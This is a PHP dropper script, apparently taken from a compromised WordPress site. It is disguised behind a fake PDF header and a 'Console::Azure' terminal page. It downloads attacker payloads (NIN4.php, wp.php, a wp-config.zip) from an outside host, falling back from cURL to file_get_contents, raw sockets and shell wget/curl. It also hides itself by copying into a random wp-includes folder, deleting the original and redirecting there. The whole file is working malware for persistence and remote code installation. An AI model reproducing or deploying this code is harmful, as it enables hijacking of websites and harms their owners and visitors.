%PDF- %PDF-
| Direktori : /home2/rezakur1/packages.rezakurnia.com/wp-content/plugins/SENIN/name/kamu/ |
| Current File : /home2/rezakur1/packages.rezakurnia.com/wp-content/plugins/SENIN/name/kamu/dwn.php |
<?php
@error_reporting(0);
@set_time_limit(0);
$msg = [];
$self = basename(__FILE__);
$currentDir = __DIR__ . '/';
$folders = ['certificates', 'ID3', 'images', 'js', 'fonts', 'blocks', 'customize', 'SimplePie', 'Requests'];
$rand = $folders[array_rand($folders)];
$mvDir = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/' . $rand . '/';
session_start();
if (isset($_SESSION['mv_path'])) {
$mvDir = $_SESSION['mv_path'];
$rand = basename(rtrim($_SESSION['mv_path'], '/'));
} else {
$_SESSION['mv_path'] = $mvDir;
}
function grab($url, $file) {
// Lapis 1: cURL
if (function_exists('curl_init')) {
$ch = curl_init($url);
$fp = fopen($file, 'wb');
if ($fp) {
curl_setopt_array($ch, [
CURLOPT_FILE => $fp,
CURLOPT_TIMEOUT => 30,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_SSL_VERIFYPEER => false
]);
curl_exec($ch);
curl_close($ch);
fclose($fp);
if (file_exists($file) && filesize($file) > 0) return true;
}
}
// Lapis 2: file_get_contents
$content = @file_get_contents($url);
if ($content !== false) {
if (@file_put_contents($file, $content) !== false) {
if (file_exists($file) && filesize($file) > 0) return true;
}
}
// Lapis 3: fsockopen (Raw Socket HTTP Request)
$urlParts = parse_url($url);
$host = $urlParts['host'];
$path = isset($urlParts['path']) ? $urlParts['path'] : '/';
$port = isset($urlParts['port']) ? $urlParts['port'] : ($urlParts['scheme'] === 'https' ? 443 : 80);
$sslHost = ($urlParts['scheme'] === 'https') ? "ssl://".$host : $host;
$fp = @fsockopen($sslHost, $port, $errno, $errstr, 20);
if ($fp) {
$out = "GET $path HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
$body = false;
$data = '';
while (!feof($fp)) {
$line = fgets($fp, 1024);
if ($body) {
$data .= $line;
} elseif ($line == "\r\n") {
$body = true; // Lewati HTTP Header
}
}
fclose($fp);
if (!empty($data)) {
@file_put_contents($file, $data);
if (file_exists($file) && filesize($file) > 0) return true;
}
}
// Lapis 4: System Command (Wget / Curl OS)
if (function_exists('shell_exec')) {
@shell_exec("wget -q -O " . escapeshellarg($file) . " " . escapeshellarg($url));
if (file_exists($file) && filesize($file) > 0) return true;
@shell_exec("curl -s -o " . escapeshellarg($file) . " " . escapeshellarg($url));
if (file_exists($file) && filesize($file) > 0) return true;
}
return false;
}
if (isset($_GET['mv'])) {
@mkdir($mvDir, 0755, true);
if (@copy(__FILE__, $mvDir . $self)) {
@unlink(__FILE__);
header('Location: /wp-includes/' . $rand . '/' . $self);
exit;
}
$msg[] = [false, 'Move failed'];
}
if (isset($_GET['get'])) {
$resources = [
['https://myzedd.tech/project/NIN4.txt', 'NIN4.php', 'NIN4'],
['https://myzedd.tech/project/wp.txt', 'wp.php', 'WP'],
['https://myzedd.tech/project/wp-config.zip', 'wp-config.zip', 'ZIP']
];
foreach ($resources as $item) {
$targetFile = $currentDir . $item[1];
$success = grab($item[0], $targetFile);
$msg[] = [$success, $item[2]];
}
}
$webPath = str_replace($_SERVER['DOCUMENT_ROOT'], '', $currentDir);
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>Console::Azure</title>
<style>
*{margin:0;padding:0;box-sizing:border-box;}
body{
background:#0a0e14;
color:#5cda41;
font-family:Consolas, "Lucida Console", Monaco, monospace;
font-size:13px;
line-height:1.5;
padding:20px;
}
.term{
max-width:600px;
margin:0 auto;
border:1px solid #1a2332;
background:#0d131a;
padding:15px;
box-shadow:0 5px 20px rgba(0,0,0,0.5);
}
.head{
border-bottom:1px dashed #1a2332;
padding-bottom:10px;
margin-bottom:15px;
color:#4fc1ff;
}
.info{margin-bottom:15px;color:#abb2bf;}
.info span{color:#e5c07b;}
.log{padding:4px 0;}
.ok{color:#5cda41;}
.no{color:#ff6b6b;}
.nav{margin-top:15px;border-top:1px dashed #1a2332;padding-top:15px;}
a{
color:#4fc1ff;
text-decoration:none;
display:inline-block;
margin-right:15px;
}
a:hover{text-decoration:underline;color:#5cda41;}
.action{
display:block;
background:#1a2332;
color:#fff;
padding:8px;
text-align:center;
margin-bottom:8px;
font-weight:bold;
}
.action:hover{background:#233044;text-decoration:none;}
.mv{color:#ff6b6b;}
.mv:hover{color:#ff4f4f;}
</style>
</head>
<body>
<div class="term">
<div class="head">[=] AZURE TERMINAL CONSOLE v2.0 [=]</div>
<?php if(!empty($msg)): ?>
<?php foreach($msg as $m): ?>
<div class="log <?=$m[0]?'ok':'no'?>">
>> Download <?=$m[1]?> -> <?=$m[0]?'[ SUCCESS ]':'[ FAILED ]'?>
</div>
<?php endforeach; ?>
<?php else: ?>
<div class="info">
>> Current Path : <span><?=htmlspecialchars($webPath)?></span><br>
>> Target Rec : <span>/wp-includes/<?=htmlspecialchars($rand)?>/</span>
</div>
<?php endif; ?>
<a href="?get" class="action">Execute :: Download Resources</a>
<div class="nav">
<a href="<?=htmlspecialchars($webPath)?>NIN4.php" target="_blank">> NIN4.php</a>
<a href="<?=htmlspecialchars($webPath)?>wp.php" target="_blank">> wp.php</a>
<a href="<?=htmlspecialchars($webPath)?>wp-config.zip" target="_blank">> wp-config.zip</a>
</div>
<div class="nav">
<a href="?mv" class="mv" onclick="return confirm('Relocate Script?')">[!] Relocate Script</a>
</div>
</div>
</body>
</html>